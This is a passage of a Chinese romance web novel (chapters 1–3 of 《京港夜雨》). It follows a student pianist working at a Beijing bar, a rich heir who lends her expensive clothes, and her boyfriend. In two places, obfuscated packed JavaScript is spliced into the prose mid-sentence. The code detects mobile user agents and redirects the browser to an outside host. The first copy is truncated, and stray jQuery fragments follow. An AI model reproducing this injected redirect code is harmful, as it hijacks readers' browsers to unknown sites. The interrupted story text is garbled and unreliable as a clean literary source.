《京港夜雨》 1. 雨夜 夏末的余热尚未散去,一场突如其来的暴雨让京市提前入了秋。 雨势滂沱,街边树叶被打得七零八落,雨水在路面砸出密密麻麻的水坑,汇聚成一股细流缓缓淌向远处。 傍晚时分,天色一点点暗淡下去,隐匿在偏僻街巷里一间名为“SeekMe”的小酒馆准时亮起了灯。 沉重的玻璃门被人推开,携来一阵轻风,将门口的风铃吹得叮当作响。 程映微一路小跑着进来,一不留神撞到一个人。她的脑门儿正好磕上对方宽阔的肩线,一缕青松淡香钻入鼻腔,清冷深邃,让她不自觉打了个冷噤。 程映微怔了怔,弯腰道了声“抱歉”,还未来得及看清那人样貌,便抱紧怀里的曲谱匆匆跑开了。 男人侧过头,神色晦暗不明,目光跟随她的背影而动,片刻后又轻飘飘地挪开。 来到后台的员工区域,程映微在考勤机上按下了指纹。待屏幕上弹出“打卡成功”的字样,她紧绷的神经终于松懈下来,靠在墙壁上轻舒了口气:“还好,没有迟到……” 一旁传来脚步声。 值班经理吴恙从楼上下来,恰好瞧见这一幕,走到她跟前,拍拍她的肩调侃:“挺会卡点啊小姑娘,再晚几秒可就要扣工资了。” 程映微站直身体,抿唇笑了笑,手中的伞垂下来,雨滴顺着伞尖淌向地面,在木质地板上晕开一圈水渍。 走道很窄,吴恙跻身而过,倏然注意到她的衣裤上沾染了大片污渍,不由得眼皮一颤:“你这是什么情况?怎么浑身脏兮兮的就来上班了?” 一些零碎的画面撞进脑海里。 回忆起十几分钟前发生的事情,程映微抿了抿唇,赧然垂下眼。 程映微在京市财政大学念书,学的是财会专业,九月初刚升了大三。 下午的电算化实操课上,因同组的一名学生在机房录入数据时操作失误,导致小组作业迟迟不能上交,放学时间直接延迟了半个小时。 程映微心急火燎,待实验结束便匆忙往校外赶,搭乘地铁去到几公里外的pub兼职。 从地铁站出来,她撑着雨伞穿梭在人群里,怀里抱着厚厚一沓书籍,导致雨伞有些拿不稳,伞布遮挡了视线,一不留神踩进路边的坑洼。 水滴飞溅而起,白净的鞋面瞬间染上大片污渍,鞋袜湿了个通透,程映微不自觉地皱起眉,心情变得愈发糟糕。 若事情到此为止倒也算了,可偏偏还有更倒霉的事发生。 晚高峰时段,地铁站外人潮涌动,十分拥挤。程映微被人推搡了一下,一个没站稳,手肘直接撞到了一旁的年轻男子。 对方是个美术生,被她这么一撞,背在身侧的颜料盒直接打翻在地,五颜六色的粘稠液体飞溅在她的衣裤和鞋面上,刺鼻的气味霎时间萦绕周身。 程映微傻了眼,心态有些崩溃。 眼看着快要迟到,她不敢耽误时间,向对方道了声“对不起”就要离开。 谁知男生追上来,伸手将她拦住:“你这人什么素质?撞了人就想跑?我颜料都洒光了,你得照价赔偿,不然我可报警了啊!” 男生声音太大,引得沿路行人纷纷朝他们看过来,甚至有人出言指责。 程映微平复了下心情,向他道歉:“真的不好意思,是我跌跌撞撞没看清路。这颜料多少钱?我赔给你。” 男生原本已经做足了吵架扯皮的架势,见她态度诚恳,并不像是不讲道理的人,又瞥见她怀里抱着大学课本,沉默一瞬,摆摆手道:“算了算了,大家都是学生,都不容易,这颜料钱你就折半赔偿给我吧。” 对方并未刻意刁难,程映微总算松了口气,咬咬牙给他转了账。 一百二十八块,能抵上她一天工资了。 钱转过去,她抬起头,想提醒对方确认查收,那男生却已利落地走掉,只留下一道匆匆背影越走越远,渐渐融进夕阳余晖里。 思绪归拢,程映微无奈叹息,今天出门前一定是没看黄历,不然倒霉的事怎会接连在她身上发生? “事情就是这样,我怕再耽误下去会迟到,就没有停下来清理衣服,先来店里打了上班卡再说。”她向值班经理解释。 吴恙瞥了眼面前的女孩,眉头快要拧成川字。 程映微局促地站在她跟前,衬衣下摆和裤腿都沾染了五颜六色的颜料,极其明显刺目,就这样上班肯定是不行的。 员工形象不达标,连带着她这个监管者也会受到处分,她不能放任不管。 “还愣着干嘛?去找同事借一套干净衣服救救急,然后把头发吹一吹,补补妆,待会儿按时上台。”吴恙皱眉催促。 程映微来到更衣室,正好遇上同事周娴,对方见她一身污渍也是吓了一跳:“妈呀,你这是怎么了?和人打架了?” “一两句话解释不清。娴姐,你有没有多余的衬衣?能不能先借我救救急?” “这……我也没有啊。” 话音刚落,外面传来敲门声。 “咚咚”两下后,门被推开一道缝隙,吴恙侧着身进来,将一个手提袋递给她:“这里面是一套干净衣裤,你快换上吧。” 程映微怔愣两秒,眼中闪过一丝光亮,“谢谢恙姐,明天我一定将衣服洗净归还给您!” 吴恙欲言又止,顿了顿才道:“这不是我的衣服,是一位顾客要我转交给你的,说是让你先换上救急,过后再还给他就是了。” “顾客?” 程映微眼皮跳了跳,脸上晃过一丝莫名。 什么样的顾客会好心到主动借衣服给旁人穿? 吴恙拉开门,下巴朝外头指了指:“就坐在14号桌,等你下了班,自己去和人家道谢吧。” 程映微一头雾水,穿过走廊,探出半个身子往外瞅了瞅,大厅里光线昏暗,且乌泱泱坐满了人,她根本分辨不出吴恙所指何人。 眼下没有时间顾虑许多。 她利索地接过手提袋,打开来,里面是一件白衬衣和一条浅蓝色牛仔裤,与她今天的穿着极为相似。 指尖接触到光滑柔软的丝质面料,程映微嗅到一缕清澈的淡香,似雨后青松的味道,十分好闻。 这气味很熟悉,像是在哪里闻到过。 可她脑子一团乱,实在是记不清了。 - “Seekme”是一间日咖夜酒的小酒馆,白天主卖咖啡甜点,晚间卖酒水简餐,除此之外还安排了复古钢琴演出和爵士乐队驻唱,为了迎合当代年轻人的审美和爱好也是玩足了花样。 正因如此,小酒馆才积攒了不少人气,每每到了晚上总是生意爆满,引得不少网红名流前来探店打卡。 晚上七点,酒吧一楼已经满座,射灯在吊顶和墙壁上漾出五颜六色的光斑,营造出慵懒松弛的氛围。 室内奏响舒缓的琴声,将一众目光吸引至大厅中央的圆台之上。 头顶灯光亮起时,程映微已经在琴凳上坐好。她在心里数着节拍,适时踩下踏板,指尖轻触琴键,弹响了今晚的第一首曲子。 今日实在仓促狼狈,程映微根本没时间化妆,只换了身衣服,将长发束成马尾便匆匆上了场。 可即便是素面朝天不施粉黛,也难掩她精致深邃的五官和清丽出尘的气质。 再加上她弹琴时的体态极好,脊背挺得笔直,露出漂亮修长的天鹅颈,本就白皙细腻的皮肤在灯光下显得愈发通透。 不需多加修饰,只安静地坐在那里弹琴,便能轻而易举地吸引诸多痴迷流连的目光。 室外细雨未停,晚风微凉。 时针指向八点,一辆深蓝色玛莎拉蒂跑车停在路边。 彭维掐灭了指间的烟蒂,开门下车。 车钥匙扔给一旁的保安,有服务生迎上来,领着他往酒吧里走。 彭维打量着周遭的环境,眉头皱得很深。 从前朋友聚会大都定在京市数一数二的高档会所,也不知今日是怎么了,居然约在一间位置偏僻的小酒吧。 他一路板着脸,直至走到室内,紧绷的表情才稍稍舒展一些。 出乎他的意料,这间酒吧并不似他想象的那般嘈杂,舒缓的琴音听着还挺悦耳。 彭维伸长脖子打量了一圈,一眼望见坐在角落处那个精致儒雅的男人,亦是他今日要找的人——京市大名鼎鼎的廖氏集团总裁廖正峰的独子,廖氏唯一的继承人,廖问今。 也顺带着看清了围坐在他身边的几个熟悉面孔。 都是平日里关系不错的朋友,彭维基本都能叫上名字。 阔步行至卡座前,他清了清喉咙,提声:“哥儿几个都喝上了?” 卡座内大约坐着四五个人。 应淮坐在沙发最外侧,正弯腰洗牌,闻言看了彭维一眼,给他腾了位置,顺手将一杯酒水拍在他面前,欠欠笑道:“老规矩,迟到的人先自罚一杯。” 彭维干脆地拿起酒杯一饮而尽,坐姿有点吊儿郎当:“今儿怎么约在这么偏僻的地方?背街背巷的,真是让我好找。” 这话听起来多少有些抱怨的成分在。 应淮下意识看了眼对面闭眼浅寐的人。 片刻又收回目光,摊摊手,不置一词。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447684|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 彭维也跟着看了过去。 见对方双眼轻阖、眉头微蹙着,与平日里判若两人,他心里越发奇怪,低声问道:“廖总今天这是怎么了?看起来蔫了吧唧的,貌似兴致不高?” 应淮将桌上的骰子拢到一边,代那人回答:“他那是换季感冒引起的头疼鼻塞,喝了药正犯困呢,眯一会儿就好,没什么大事。” 彭维点点头,眼睛盯着杯中的液体,酝酿一番后,终于说出今日来意:“听说哥儿几个准备投资一个国外的科技研发项目?这项目靠不靠谱啊,能不能带我一个?” 提及敏感话题,应淮脑中自动敲响警钟:“我一个学医的,可没兴趣掺和你们这些乱七八糟的事儿啊。” 担忧自己招架不住,应淮随时做好开溜的准备。他起身去卫生间,临走前拍了拍身旁的人,“宋勉,你跟他说。” “我?”一旁的男人睁大眼睛,摆摆手道,“我最近忙得脚不沾地了都,可没工夫管别人的闲事。这事儿别问我,我不清楚。” “……” 在座的都是京市有头有脸的富家公子哥,彭维家境固然不差,与他们相比却还是略逊一筹。 他是真心想跟着他们做点投资,拓展些人脉,无奈大家都不接茬,三两句话便将这事搪塞过去,丝毫不给他面子。 彭维觉得自己被孤立了,脸色立马垮了下来,心情很是不爽。 他往后靠了靠,脊背抵在皮质沙发上,杯子递到唇边,一口气闷掉了半杯酒,以此纾解心中郁闷。 下一秒。 不知怎的,台上的琴声忽然卡顿。颤巍巍一记重音后,美妙的旋律戛然而止。 彭维下意识朝那边望去,注意到台上那抹清丽身影。 柔和光线下,女孩深邃动人的五官和小巧精致的面庞全然暴露在他的视线里。 彭维讶异了一瞬,唇角轻微地挑起,目光变得深沉。 那女孩看起来尤其干净,却也清冷,像天边素白的月。 月光虽柔和地照下来,骨子里却带着与生俱来的距离感,拒人于千里之外。 这是程映微给他的第一印象,顺带着勾起了他的好奇心和征服欲。 面对突发失误,程映微并未慌乱,立马站起身朝着台下微微鞠了一躬,道了声“抱歉”。 很快便调整好心态,坐下来继续弹琴。 薄光笼罩下,女孩两鬓的碎发掉下来几缕,柔顺地贴合在耳侧,浓黑的睫毛微耷下来在眼睑处投下一片阴影,纤长的手指如翩翩舞者,灵活地跃动在黑白琴键之上,有种凌乱却又镇定自若的美感和松弛感。 彭维正走着神,忽然听见一声低咳。 坐在他对面的男人动了动,搁在沙发扶手上的臂肘微微舒展开来。 廖问今睁开眼,眉头微蹙,修长的指节抵在眉心揉了揉,药物作用催生出的疲惫和困顿感稍稍褪去,头脑也清明了许多。 许是生病的缘故,他的脸色看起来有些病态的苍白,漆冷深邃的眸子天生带着距离感,直接越过彭维往台上望去。 视线落在女孩身上,他明明面色平淡,眼中却好似盛着几分担忧。 “哥,你醒了。”彭维立马凑过去,讨好似的递给他一杯酒,“来一杯醒醒神?” 廖问今垂下眼,视线刚触及到那杯酒水,下一秒就被人挡了回去。 应淮忙按下酒杯,对彭维说:“他半小时前刚喝了抗菌药的,可不能再喝酒了。” “头孢配酒说走就走,这常识你不懂?” “哎呦,我给忘了,对不住啊廖总。”彭维伸出的手顿了顿,用力拍了下脑门儿,立马将酒杯揽向自己,尴尬陪笑,“我的错,我自罚一杯!” “无妨。”廖问今向后靠了靠,手肘搭在沙发靠背上,姿态慵懒。墨玉般深沉的眸子直直望向他,唇边噙着一抹淡笑,“平日里倒是难得见你一面,今天怎么不请自来了?” “嗐,我就闲着没事,瞎凑热闹。”彭维打着哈哈,不再提起刚才的事徒增尴尬。 耳边是舒缓的琴声。 眼睛扫过台上那抹清瘦身影,彭维脑中晃过一丝念头,挑挑眉,饶有趣味地问道:“廖总您看,十点钟方向那个弹钢琴的姑娘怎么样?” 廖问今正单手拢着火机点烟,微弱的火光在指间忽明忽暗,一半光影投在他的侧脸,另一半则隐于黑暗之中。 闻言,他手上动作顿了顿,纤薄的眼皮缓缓掀起,再次望向台上的人。 眼中并无波澜。 须臾便收回了目光,冷声道: “不怎么样,没兴趣。” 2. 窥探 晚上十点,程映微准时下班。 她在更衣室换回了自己的便服,又将脱下来的衣服小心细致地叠好,装进手提袋里。 周娴和她同一个班次,这会儿也刚下班,打了卡过来换衣服。 她站在一旁整理储物柜,目光落在程映微身上时,总是忍不住多看几眼。 程映微长得实在好看,人也话少安静,整个人散发着一股浓浓的书卷气。 怎么看,都与这里格格不入。 盯着她看了半晌,周娴不禁感叹:“映微,你这么漂亮又有才气,成天在这小小的酒吧里弹琴真的可惜了。” 程映微又累又困,却还是打起精神,笑着回应:“那我该在哪里弹琴?” “在音乐厅,在歌剧院,在更好更大的舞台,反正不该在这里。” 周娴为她抱不平,真诚发问,“你还这么年轻,多去参加一些音乐类的比赛,拿点奖金,积攒一些人脉和名气往高处走一走,不比在这里工作来得轻松?” “映微,你就没想过改变一下现状吗?” 程映微思索一番,直言:“就算真的参加了比赛,我也进不了决赛,更拿不到奖金。” “为什么?”周娴不解。 “因为……” 这其中的缘由太过复杂,也牵涉太多,一两句话解释不清,说多了还容易引起误会。 她索性将到了嘴边的话咽回去,笑道,“因为我技不如人呗。” 同周娴道了别,程映微本打算去找那位顾客道谢,再将借来的衣物带回去清洗。 低头看了眼自己脏兮兮的衣服,又担心这副模样出现在顾客面前会扫了人家的兴致。 她陷入纠结,止步在原地。 左思右想后,还是折返回去,写下一张字条递给了正在后台检查卫生的吴恙,向她解释了缘由,匆匆离开。 - 入夜,雨势悄然转小,气温也低了几度,风吹在身上已经有些微凉,空气也变得潮湿。 因廖问今身体不适,今日的聚会提前散场。他头疼脑热无法开车,便叫了家里的司机来接。 阔气惹眼的黑色轿车停在路边,有侍者上前为他打开车门,廖问今阔步走过去,在后排靠右的位置坐下。 车门关上的那刻,忽然有人提声叫住他:“廖总,请等一下!” 廖问今降下车窗,扫了眼,很快认出那人。脸上并无太多情绪,淡淡问道:“什么事?” “这是映微托我转交给您的。”吴恙微喘着气,稍稍躬下身,透过车窗将手里的字条递给他。 其它的并未多说。 男人眉心动了动,将纸条展开,入目便是女孩隽秀工整的字迹:【虽然素不相识,但还是谢谢您将衣服借给我。今晚形象不佳,实在不方便当面向您道谢。我会将衣服洗净,改日亲自归还给您。望您见谅。】 他一目三行快速读完纸条上的文字,唇角勾出不易察觉的弧度,低笑一声,问道:“人呢?已经走了?” “对,已经回学校了。”吴恙望向对面的人,仔细揣摩着他的心思,试探着开口:“不过她刚离开店里没多久,应该还没走远。廖总您看……是否需要把人叫回来,让她当面跟您聊聊?” “不必了,反正以后还会见到。” 廖问今看了眼时间,已经不早了。 遂而收回视线,将纸条折好,揣进衣兜里,轻嘱一句:“日后还请您多多关照她。” 吴恙低眉颔首:“那是自然。” 眼看着车子起步加速,驶入外侧车道,渐渐消失在道路尽头,吴恙终于松了口气。 拿出手机,自作主张地给程映微发过去一条信息。 - 回到学校宿舍,程映微并没有急着去洗澡,而是打开那个精致的手提袋,将里面的衣服拿出来,上网搜索衣领上的品牌logo。 她很快在品牌官网找到了这套衣服,居然是loewe的当季新款。点进详情页,弹出来的价格让她眼前一黑。 简简单单的衬衫和牛仔裤,加起来居然高达万元。 程映微呆怔地坐在凳子上,大脑已经乱成一锅粥。 这么贵的衣服,她不敢随便手洗,要是洗坏了更加没法交差。 眼下只能花钱送去干洗店了。 程映微觉得心烦意乱。此刻才意识到,自己无意间踩了个大坑。 也不知当时怎会头脑一热接下这套衣服,平白无故给自己添上一桩麻烦事。 室友唐婳洗漱完从卫生间出来,见她对着天花板发呆、表情哀怨,伸手在她眼前晃了晃:“映微,你怎么了?” “喔……没什么。”程映微回过神,将衣服装入袋中,拿起手机准备搜索一下附近的干洗店。 谁知电话碰巧响了起来,伴随着振动,震得掌心一阵酥麻。 “呀,男朋友打来的?”唐婳恰好瞥到她的手机屏幕,脸上露出八卦的笑容,“那我就不打扰你们小情侣煲电话粥啦,我去晾衣服了。” 程映微冲她笑了笑,视线重回手机屏幕上,按了接听键:“喂?”嗓音不自觉变得绵软几分,“这么晚了有事吗?” “非要有事才能打给你吗?”电话那头,宋丞的声音温柔清澈,尾音夹着笑意,听起来心情不错,“映微,我在你宿舍楼下呢,能下来一趟吗?” “现在吗?”程映微看了眼时间,还有半小时宿舍就要锁门了。 可她今日情绪不佳,实在需要男朋友的拥抱来给自己充充电,便应道:“你等我,这就来了。” 见她起身换衣换鞋准备出门,另一个室友薛凝侧过身问:“这么晚去见谁啊?” “还能是谁,肯定是宋丞学长喽。”唐婳抢着答。 “讨厌。”程映微脸颊微红,笑着说,“我很快回来,记得给我留门啊!” 楼下花坛旁,宋丞撑着一柄黑伞站在树下,他身形颀长姿态挺拔,说是长身鹤立也不为过。 偶尔有人从他身边经过,与他打招呼,他都会面带微笑礼貌回应,由内而外透着一股温润气质,让人忍不住想要靠近。 伴随“嘀”的一声刷卡声,宿舍楼下的铁门被推开,程映微朝他跑过来,远远冲他招手,轻快地喊了声“学长”。 宋丞抬起头,女孩已经扑进他怀里,修长的手臂环在他腰间。从他的角度低头望去,恰好能看见女孩纤长微垂的眼睫和颧骨处一抹淡粉。 他抚了抚她的脑袋,低下头,下巴抵在她的发顶,嗓音轻柔:“这都多久了,还叫学长?” “叫习惯了嘛。”感受到他掌心的温度,程映微觉得自己好似一块坏掉的蓄电池,瞬间充满了电,心头的郁闷也消减不少。 她仰起脑袋,无意间撒起娇来:“我跟你说喔,我今天真的特别倒霉……” 程映微将晚上发生的事情大致讲了下,刻意避开了顾客借她衣服的事,她怕宋丞知道了会多想。 宋丞皱着眉头听完,拉着她站好,语气稍稍严肃了些:“映微,你那份兼职要不还是别做了?大晚上的,又是在酒吧,我总觉得不太安全。” “可我喜欢弹琴啊。”程映微拉着他的手腕,轻声说,“你放心,我就只是安安静静地坐在那里弹琴而已,其余的都与无我无关。况且还有我们经理护着我呢,她对我很好很包容,绝对不会有事的。” 宋丞看她脸上挂着轻松的笑容,悬着的一颗心稍稍安放了些,与她说起正事:“其实我来找你,是有件事要对你说。” “我报名参加了一个数字研发项目,得跟着导师去一趟深城驻点学习,怕是会有一两个月见不到你。”他说,“你晚上回学校时一定要注意安全,到了宿舍及时发消息给我,别让我担心。” 宋丞比她年长一级,正在读大四。一年前,两人通过社团活动认识,宋丞见她第一眼便被她身上清丽干净的气质吸引,没多久就在同学朋友的怂恿下向她表白,对她展开热烈追求。 程映微一开始对宋丞无感,她家庭情况特殊,肩上背负的担子很重,课余时间都用来打工兼职,实在没有精力去回应这样一份热烈纯粹的感情。 可宋丞太过执着,每天对她嘘寒问暖,等她下课,接她放学。 那段时间程映微过得很艰难,家里遇到难事令她险些崩溃,也是宋丞寸步不离地陪着她,开解她,为她提供了许多的情绪价值。 经过几个月的相处,程映微渐渐被他打动,终于答应和他在一起。 时间过得飞快,到现在,他们已经交往了近半年的时间。 “啊?要去这么久啊。”程映微撇了撇唇,脸颊微微鼓起来,“那你到了那边要记得好好照顾自己,别太累了。” 夜色愈发浓厚,她看了眼时间,依依不舍地松开他的手:“快到门禁时间了,我得回去了。” “等等,映微。”宋丞握住她的手腕,将她重新拉进怀里,敛着声说,“亲一下。” 程映微还没反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447685|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他已经俯身而下,鼻尖与她相抵。 然而还未触碰到她柔软的唇,便听见一阵手机铃声响起,生生将他的动作打断。 感觉到衣兜里持续不断的振动,程映微身体僵了僵,立马从他怀里退出来,拿出手机来看。 点开微信,是吴恙发来一条消息:【字条已经交到廖先生手里了,这是他的手机号码,你存一下。出于礼貌,先给人打个电话道谢吧。】 郁闷的情绪还未彻底纾解,转瞬又被拉回紧张的状态。 程映微眉心跳了跳,立马打字回复:【好的,谢谢经理。】 身旁的人凑过来,“谁啊?这么晚了还给你发消息。” “是我们经理。”程映微看了眼时间,快十一点了。于是凑过去抱抱他,“都是一些工作上的事情,你不用担心。快到点了,我真得回去啦。” “好,早点休息。” 宋丞弯下身来,吻了吻她的额头,下巴在她发顶蹭了又蹭,就是舍不得松手。 “好啦……”周边人来人往,程映微觉得不好意思,拍拍他的手臂,“我真的要走了。” 不远处一盏路灯下,一辆黑色轿车停在那里,大半车体隐藏在黑暗之中,看不清全貌。 后排车窗降下一半,露出一张年轻英俊的面庞。 男人眼下堆积着淡淡一层乌青,看起来稍显疲累。他慵懒地抬眸,望向不远处相拥在一起的两道身影,眼底晦暗得看不出任何情绪。 不知过了多久,车窗悄然升起来,将那一幕彻底隔绝在外。他收回目光,鼻腔里发出一声闷笑,冲司机说道:“开车吧。” 廖问今并未回廖家老宅,而是让司机将他送到御景华府,他的私人住所。 他自大四那年起便开始独居,到如今已有近三年的光景。 自一年前母亲去世,廖正峰身边又添新人,他便更少回到廖家。 出了电梯,楼道里极其安静,走到哪里,自动感应灯便亮到哪里。 三百平的大平层,他一人住着正好,屋子按照自己喜欢的风格装修,家居电器全部智能化。小区面朝热闹的广场商圈,背靠静谧的月湖公园,寸土寸金,位置极佳。 从阳台往外望去,依稀能够望见月湖上泛着的朦胧雾气;拉开客厅窗帘,则能俯瞰到京市璀璨辉煌的夜景。 隔着偌大的客厅,两种截然不同的景致被他尽收眼底,偶尔会产生那么一丝丝的割裂感,大多数时候又觉得习以为常。 像往常一样,廖问今在客厅静坐了会儿,起身去衣帽间拿了睡衣,准备冲个澡。 推开浴室门,握在掌心的手机突然嗡嗡作响。瞅了眼,是个陌生来电,号码归属地也在京市。 以为是骚扰电话,他没接,继续干自己的事情。 脱掉上衣丢在一边,拧开水龙头,捧了把清水浇在脸上,水珠顺着下颌滴下来,手臂和腰腹上的肌肉线条随着他的动作起伏,隆起,又收缩。 电话响了一分多钟,终于自动挂断。 隔了几秒又再次响起,持续不断的铃声听得他脑仁疼。 他烦躁地摁了接听键,手机丢在一边,等对方先开口。 电话接通,那边沉默一瞬后,传来一道清凌凌的嗓音:“您好,请问是廖先生吗?” “哪位?”他冷声问。 电话那头。 程映微紧攥着手机,紧张到掌心捏出了细汗,尽力保持嗓音平稳:“我是‘Seekme’酒吧的工作人员,冒昧打给您,是想向您道一声谢,谢谢您今晚将衣服借给我。” 她的声音温和又冷静,似初秋的风拂在心尖,轻柔,又透着些许微凉。 待她说完,男人脸上的表情有了些微的变化。他拿起手机放在耳边,唇角勾起一抹意味不明的笑。 再开口,嗓音低沉几分:“程小姐是真心道谢吗?” “当然。”程映微下意识回答,“您这话是什么意思?” 过后又觉得哪里不对劲。 他怎么知道她姓程?又为什么要借衣服给她? 她陷入疑问的漩涡,思而不得其解,渐渐失了神,喉咙犹如被堵住一般,发不出任何音节。 倏而又听见对方轻笑一声,问道:“既是真心道谢——” 她的呼吸停滞,心也跟着提到了嗓子眼。 那人停顿一下,又继续开口: “那程小姐怎么不当面说声谢谢,只留下一张字条就匆匆走掉了?” 3. 交汇 “因为我的衣服弄脏了,怕出现在您眼前会影响到您的心情,所以才……” 越解释越苍白,程映微不知该怎么说下去。 不论怎么解释,都是她比较理亏。 毕竟从她接下那套衣服的那一刻起,她就已经欠着对方人情了。 像是察觉到她的紧张,廖问今不再逗她,再开口,嗓音里似乎夹杂着一丝愉悦:“我知道了。衣服不必还了,你自己留着穿就好。” “另外,程小姐,期待下次再见。” 廖问今说完就挂了,快到没有分毫犹豫。 程映微被这一通对话绕得云里雾里。 思绪凝固片刻,她忽地反应过来……自己刚才真情实感地解释了这么多,紧张到心快从嗓子眼里跳出来。 而那个人呢?听他说话的语气,轻松懒散又带着笑,分明是在逗着她玩。 所以他为什么要借衣服给她?真的仅仅只是善心发作、同情心泛滥,才会对她施以援手? 她弄不明白。索性不再多想,趁着室友都还没睡,抓紧时间洗澡睡觉。 - 怀揣着心事,这一夜基本无眠。 次日还要上早八,程映微觉得自己大概率会猝死,准备泡一杯特浓咖啡带在身边续命。 寝室里,三个女孩各忙各的,程映微刚烧好一壶水,就听见门锁转动的声音。 房门被人推开,许颜姣一夜未归,此刻才卡着点回到宿舍,换衣洗漱,准备去上课。 “姣姣,你昨天去哪了?”见她满脸疲惫,妆也花了,唐婳关心询问。 许颜姣坐下来卸妆,困得眼睛快要睁不开,蔫蔫地说:“喔,昨天玩到太晚,就在朋友家借宿了一晚。” 又问:“昨天没人来抽查点名吧?” “没有没有。”住她对铺的薛凝侧过脑袋,“就算有人查寝,我们也会帮你糊弄过去的。” “行吧。”许颜姣打了个哈欠,继续拿着卸妆棉在脸上按压。终于卸完妆,起身准备去洗脸时,视线一偏,忽地注意到什么,瞬间来了精神。 “映微!”许颜姣快走两步来到程映微身边,一把揽住她的肩。 程映微正低头冲泡咖啡,被她骤然放大的声量吓了一跳,手里的杯子颤了颤:“啊?怎么了吗?” 许颜姣一眼瞧见她放在桌角的手提袋,指着上面的品牌logo问道:“这里面是什么?我能看看吗?” 许是睡眠不足,程映微反应有点迟钝,还没等她开口,许颜姣就已经伸手将袋子拿过来,自作主张地打开了。 “这是loewe早秋系列的最新款!”她惊呼,“你从哪弄来的?” 程映微一时语塞,从她手里拿过衣服,塞回袋子里:“这不是我的衣服,是别人借给我穿的,我还得洗干净了还给人家呢。” 许颜姣一向大大咧咧没什么分寸感,丝毫未觉自己的行为有些冒昧,反倒兴奋地追问:“真的?什么人借给你的?跟我讲讲呗,你在酒吧兼职的时候是不是遇见什么富家公子了?” 像是被人肆意窥探了秘密,程映微有些烦躁,脸色也冷下来,嗓音却依旧温和:“这是我们经理的衣服,不是什么富家公子。” 她不想解释太多,只能先扯个谎,将这事儿一笔带过。 见她有意遮掩,许颜姣忽然觉得没意思,转过身低声吐槽:“一间小酒吧的值班经理,一个月能有多少工资?能消费得起上万的衣服?当别人傻子呢!” 程映微不想浪费时间与她争执,就没再接话。冲泡好咖啡,拧上杯盖,提声问道:“我都收拾好了,要不我先去教室帮你们占座?” “我也好了!我跟你一起走!”唐婳背起包包,跟她一道出门。 见状,薛凝也快速换好衣服,抱着课本起身:“我来了,等等我!” 临走前,又看向还在卸妆的许颜姣:“姣姣,你还要多久啊,需要我们等你吗?” 刚被程映微搪塞一番,许颜姣心情极差,坐在那里慢吞吞收拾自己,冷冷吐出一句:“你们先去教室吧,不用等我。” 几个人慢悠悠走到教学楼,提前到达教室占了座。程映微一口气喝掉了那杯特浓咖啡,没什么用,还是困。 今日总有些心神不宁。她拿出手机,不停地刷新着聊天界面,上课前两分钟,终于收到了宋丞发来的消息:【已经上飞机了,等我回来给你带礼物。】 心尖蒙上一层暖意,她立马回复:【好啊,我好期待!】 想到宋丞还有一个月才能回来,心里又有那么点酸涩。 中午下课后,几个女孩商量着一起回宿舍点外卖吃。 许颜姣今日情绪不佳,一反常态地与她们保持距离,没怎么开口讲话。 薛凝一向是宿舍里最最眼尖的那个,注意到她的异样,凑过去问道:“姣姣,今天下午没课,你要跟我们一起回宿舍吗?” “不了,我得去我朋友那。”许颜姣言简意赅。意思是今晚不回学校住了。 目送许颜姣出了校门,薛凝嘴唇撇了撇,“什么朋友啊,我看是男朋友吧。” “万一今晚有人查寝,我们又得帮她遮掩。” 唐婳拍拍她的肩,“都是室友,互相帮帮忙本就是应该的,别想多啦。” 薛凝不满:“我们一次次帮她打掩护,人家可不见得真心感谢我们呢。成天跟个大小姐似的,动不动就耍小性子,合着旁人替她做什么她都觉得理所应当呗!她到底把我们当成什么人了?” 薛凝越说越激动,脑袋扭向一边,“我看她早上还对映微摆脸子呢。是不是,映微?” 忽然被扯入话题中心,程映眼皮跳了跳,无所谓地笑道:“没关系,我不理她就是了。” 回到寝室,大家商量着点了外卖,坐在一块儿吃饭看剧,过后又将寝室卫生打扫干净,准备睡午觉了。 程映微晚上还要去酒馆兼职,就早早地将衣服送去学校对面的洗衣店。 支付过定金,她心里总算踏实了些,找到昨天联系过的那个号码,给那个人发过去一条短信:【廖先生,您的衣服我已经送去干洗店了,大概需要两三天才能归还给您。时间有点长,望您见谅。】 做完这一系列的事情,程映微总算可以放心地回去补觉。大脑和身体的疲累导致她沾床就睡,这一觉也睡得相当踏实,再醒来已经是下午五点。 她打了个悠长的哈欠,拿起手机看了眼,那位廖先生并没有回复她的信息,想来应该是在忙着,没空看手机,又或许是当做垃圾短信直接忽略掉了? 程映微去卫生间洗了把脸,想了想:那人出手阔绰,买件衣服动辄就是上万元,肯定是非富即贵的。 也许对方根本就没将这事儿放在心上,转眼就忘了。 - 三日后,程映微收到干洗店发来的短信,叫她去取衣服。 收到洗净的衣裤,她拿在手里仔仔细细地检查了一遍,确定没有问题才支付了余款。 看她还是个学生,模样也乖巧,店员免费给她办了张会员卡,打了九五折。 然而打完折后的价格依旧让程映微头皮发紧。 两件衣服,收了她五百块。 程映微觉得心在滴血,只能自认倒霉。 周六无课,取回衣服,程映微又给那位廖先生发了信息。同之前一样,对方依旧没有回复。 她不想将这件事情拖得太久,只想尽快将衣服归还,不再欠对方人情,便直接拨了电话过去。 听着手机里传来持续不断的嘟声,程映微忽地紧张起来,手指不自觉地缩紧。本以为对方够悬会接,谁知电话响了三四声后,居然成功接通了。 “哪位?” 一道清冽温润的嗓音从通话界面传出,如水流般灌进她的耳朵里。 